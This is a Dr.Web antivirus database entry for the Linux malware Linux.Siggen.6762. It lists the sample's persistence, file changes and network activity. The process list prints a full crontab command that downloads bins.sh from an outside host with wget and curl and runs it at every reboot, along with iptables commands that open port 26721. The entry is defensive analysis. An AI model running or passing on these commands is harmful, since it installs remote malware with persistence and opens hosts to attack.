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Linux.Siggen.6762

Added to the Dr.Web virus database: 2024-03-17

Virus description added:

Technical Information

To ensure autorun and distribution:
Creates or modifies the following files:
  • /var/spool/cron/crontabs/root
Malicious functions:
Launches itself as a daemon
Substitutes application name for:
  • 0mk3lqjc30j32ju6
Launches processes:
  • /bin/busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
  • /bin/sh -c /bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
  • /bin/sh -c (crontab -l ; echo \x22@reboot /bin/bash -c \x22/bin/wget http://rebirthltd.com/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://rebirthltd.com/bins.sh; chmod +x bins.sh; sh bins.sh\x22\x22) | crontab -
  • /bin/kmod /sbin/modprobe ip_tables
  • /bin/sh -c iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
  • /bin/sh -c busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
  • sh bins.sh
  • /sbin/initctl start bot
  • /bin/sh -c /bin/busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
  • /bin/sh -c /usr/bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
  • /sbin/xtables-multi iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
  • busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
  • chmod +x bins.sh
  • crontab -l
  • crontab -
Performs operations with the file system:
Modifies file access rights:
  • /var/spool/cron/crontabs/tmp.vmvEJD
Deletes folders:
  • /xconsole
Creates or modifies files:
  • /var/spool/cron/crontabs/tmp.vmvEJD
  • /dev/full
  • /etc/init/bot.conf
  • /root/.bashrc
Deletes files:
  • /xconsole
Changes time of creation/access/modification of files:
  • /var/spool/cron/crontabs
Network activity:
Awaits incoming connections on ports:
  • 127.0.0.1:8345
  • 0.0.0.0:26721
Establishes connection:
  • 8.#.8.8:53
  • 51.###.108.203:53
  • 19#.###.175.43:35342
  • 19#.##9.175.43:2222
DNS ASK:
  • re###thltd.com
Sends data to the following servers:
  • 19#.###.175.43:35342
Receives data from the following servers:
  • 19#.###.175.43:35342
Other:
Collects information about network activity

Curing recommendations


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